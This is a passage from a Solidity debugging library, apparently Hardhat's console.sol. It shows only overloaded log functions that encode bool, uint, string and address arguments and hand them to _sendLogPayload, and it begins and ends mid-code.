_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, 